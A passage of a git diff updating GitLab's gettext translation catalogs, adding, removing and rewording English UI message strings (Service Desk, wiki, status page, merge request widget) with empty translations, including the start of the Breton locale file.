+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/br_FR/gitlab.po b/locale/br_FR/gitlab.po
index b421f6d720b..d07e47c4184 100644
--- a/locale/br_FR/gitlab.po
+++ b/locale/br_FR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: br-FR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:51\n"
+"PO-Revision-Date: 2021-04-02 00:11\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -150,6 +150,14 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -281,6 +289,14 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -569,6 +585,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -581,6 +600,14 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -610,25 +637,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-
msgid "%{count} more"
msgstr ""
@@ -729,7 +740,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1158,6 +1169,9 @@ msgstr ""
